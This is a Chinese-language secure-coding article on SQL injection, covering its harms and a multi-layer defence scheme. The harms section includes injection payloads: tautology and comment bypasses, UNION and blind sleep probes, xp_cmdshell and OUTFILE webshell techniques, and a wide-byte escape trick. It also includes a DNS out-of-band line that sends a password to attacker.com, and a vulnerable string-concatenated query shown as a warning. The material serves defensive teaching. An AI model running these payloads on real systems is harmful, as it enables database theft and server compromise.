【安全】Sql注入漏洞的危害和防御

markdown 复制代码

# SQL注入漏洞的危害与深度防御

## 一、SQL注入的深度危害：远不止拖库

SQL注入绝不仅仅是"偷数据"，它的攻击链可以穿透整个系统。

### 1. 数据泄露与认证绕过
- **无条件拉取全表**：`' OR '1'='1` 使 `WHERE` 恒真，泄露所有用户、订单数据。
- **联合查询注入**：通过 `UNION SELECT` 逐列探知表结构，窃取其他表数据。
- **万能密码绕过**：`admin'--` 注释掉密码校验，无需密码即可登录管理员账户。

### 2. 数据完整性破坏与业务欺诈
- **金额篡改**：充值接口若存在注入，可直接将余额字段更新为任意值。
- **流程绕过**：修改订单状态、删除审核记录。
- **批量破坏**：执行 `DROP TABLE`、`TRUNCATE`，或利用 `sleep` 延时锁表造成业务中断。

### 3. 服务器权限获取与命令执行
- **文件读写 → WebShell**  
  MySQL 的 `SELECT ... INTO OUTFILE`，SQL Server 的 `xp_cmdshell` 结合写入 ASP/PHP/JSP 文件到 Web 目录，直接获取服务器控制权。
- **操作系统命令执行**  
  SQL Server：`xp_cmdshell`；PostgreSQL：`COPY ... FROM PROGRAM`；Oracle 通过 Java 存储过程执行系统命令。
- **UDF 提权**  
  MySQL 中通过写入恶意动态库创建自定义函数，从数据库权限提升至 root 权限。

### 4. 横向移动与内网渗透
- **跨库查询与链接服务器**  
  SQL Server 的 `OPENROWSET` / `OPENDATASOURCE` 可访问其他数据库服务器，作为内网跳板。
- **发起网络请求**  
  Oracle 的 `UTL_HTTP`、PostgreSQL 的 `dblink`、MySQL 的 `LOAD_FILE` 配合 DNS 外带，探测内网存活主机或攻击内网 Web 应用。

### 5. 盲注与带外注入：隐蔽的持续窃密
- **布尔盲注**：通过页面是否异常，逐字符拆解数据（`ascii(substring(...))`）。
- **时间盲注**：利用 `IF(条件, sleep(5), 0)` 通过响应时间差推断数据，速度慢但能窃取全库。
- **带外注入**：强制数据库向外部发送 DNS/HTTP 请求，将数据附在域名中传出，绕过传统防御。
  ```sql
  SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\abc'))

6. 二阶 SQL 注入（存储型注入）

攻击者将恶意数据安全存入数据库（插入时使用了参数化），但在后续功能中，开发者从数据库取出数据后使用字符串拼接构建新 SQL，触发注入。

示例：用户名设为 admin'--，插入时被预处理安全存储。但在报表功能中：

java 复制代码

String sql = "SELECT * FROM users WHERE name = '" + userNameFromDB + "'";

取出时发生注入。信任已存储数据是防御中最大的盲区。

7. 深度拒绝服务

构造复杂正则、无限递归 CTE 或产生巨大笛卡尔积的查询，耗尽数据库 CPU 和内存，导致服务不可用。

二、深度防御体系：从代码到架构的多层防线

防御 SQL 注入必须构建立体防护，核心原则是让数据与代码永远分离。

1. 根本措施：参数化查询（预编译语句）

原理：先将 SQL 模板发送给数据库编译，占位符（?）不会被解析为关键字，参数值纯量传入，永远不可能改变语法树。

正确实现 ：

java 复制代码

String sql = "SELECT * FROM users WHERE name = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, userName);

动态 SQL 处理 ：
- LIKE 子句：WHERE name LIKE CONCAT('%', ?, '%')
- IN 子句：动态生成占位符数量，仍然绑定参数，不拼接值。
- 表名/列名/ORDER BY ：无法参数化，必须使用白名单映射 。
  java 复制代码
```
private static final Set<String> ALLOWED_COLUMNS = Set.of("id", "username", "create_time");
if (!ALLOWED_COLUMNS.contains(sortField)) throw new IllegalArgumentException();
String sql = "SELECT * FROM users ORDER BY " + sortField;
```

2. 输入验证与白名单：外层收缩攻击面

强制数据类型转换：ID 必须为整数，Integer.parseInt()。
格式白名单：用户名限制字符集（字母数字下划线），邮箱严格正则匹配。
长度限制：防止超长载荷用于盲注或消耗资源。
注意：对于复杂文本，核心防御仍是参数化，不可依赖过滤。

3. 转义处理：仅作纵深补充，不可独立信赖

转义函数（如 mysql_real_escape_string）的缺陷：
- 无法防御数字型注入（无需引号）。
- 宽字节注入：GBK 编码下 %df' 被转义为 %df\'，但 %df%5c 被解析为汉字，单引号逃逸。
根治方法 ：连接字符集设置为 utf8mb4，并启用数据库原生预处理（PHP PDO 中 PDO::ATTR_EMULATE_PREPARES = false）。

4. 最小权限原则与数据库配置加固

应用账户权限极简 ：仅授予对必要表的 DML 权限，禁止 ALTER、DROP、FILE、CREATE 等。
禁用危险功能 ：
- SQL Server：EXEC sp_configure 'xp_cmdshell', 0;
- MySQL：secure_file_priv 设置为空或严格目录，阻止 OUTFILE 和 LOAD_FILE。
- PostgreSQL：回收普通用户执行 COPY ... FROM PROGRAM 的权限。
降低操作系统权限：数据库进程以低权限 OS 用户运行。

5. 存储过程的安全使用

错误做法 ：在存储过程内拼接字符串后 EXEC(@dynamicSql)，等同于拼接 SQL。

正确做法 ：使用参数化执行 sp_executesql：

sql 复制代码

EXEC sp_executesql N'SELECT * FROM users WHERE name = @name', N'@name varchar(50)', @name = @input;

6. 错误信息掩藏与自定义处理

全局禁止将数据库异常堆栈、表名、列名暴露给客户端，防止攻击者利用报错信息进行盲注。

7. ORM 框架的正确使用约束

ORM 默认会参数化，但原生 SQL 和动态查询是重灾区。
严禁 session.createNativeQuery("SELECT ... WHERE name = '" + input + "'")。
强制使用 JPA Criteria API、QueryDSL 等安全查询方式，并用静态扫描工具固化规则。

8. Web 应用防火墙与运行时自我保护

WAF ：通过规则识别 UNION SELECT、sleep( 等特征，拦截自动扫描，但可被编码、注释绕过，不能代替代码修复。
RASP：运行时安全探针，感知完整查询上下文，当 SQL 语义因用户输入而改变时精准阻断，比 WAF 更准确。

9. 专注二阶注入的防御铁律

从数据库取出的任何数据，在用于构建新 SQL 时，必须再次参数化，绝不能拼接。即便来自存储的数据也不可信任。

10. 网络与主机层面的遏制

出网限制：防火墙禁止数据库服务器主动发起 DNS、HTTP、SMB 等出站连接，阻断 DNS 带外注入。
Web 目录不可写：禁止数据库用户向 Web 可执行目录写入文件。

11. 持续监控与审计

部署数据库审计系统，记录所有 SQL。
异常检测：短时间内大量 --、sleep、UNION 查询，或同一请求带不同布尔条件等盲注特征，实时告警阻断。
应用日志监控 500 错误中数据库异常激增。

12. 安全开发流程与自动化检测

将 SAST 工具（SonarQube、Checkmarx 等）集成到 CI/CD，检测字符串拼接 SQL。
代码评审重点审查 Statement、字符串拼接、动态表名等。
定期渗透测试，模拟盲注和二阶注入。

三、深度理解攻防博弈：为什么参数化才是终结方案？

拼接 SQL 的根本问题在于用户数据参与了 SQL 语句的解析过程。转义试图区分代码与数据边界，但数据库语法复杂，总可能因字符集、注释符等出现认知偏差。

预编译语句将 SQL 源码结构（代码）与参数数据分开传递：代码走编译通道，数据走纯数据传输通道。无论参数中包含什么字符，永远被视为一个原子值，语法解析器不触及它们。这是逻辑上的完全隔离。

但参数化也并非万能：动态表名/排序等必须由应用指定结构，此时需用白名单控制。同时配合最小权限、出网限制、RASP 等，假设防线可能被突破，通过限制爆炸半径来降低实际损失。

总结：真正的深度防御是将"永不信任"贯彻到底------不信任用户输入，也不完全信任数据库已有数据；用参数化分离代码与数据，用白名单处理动态结构，用最小权限和配置加固限制破坏能力，用多层检测和拦截弥补疏漏，最终形成一个无法单点失效的立体防御体系。

复制代码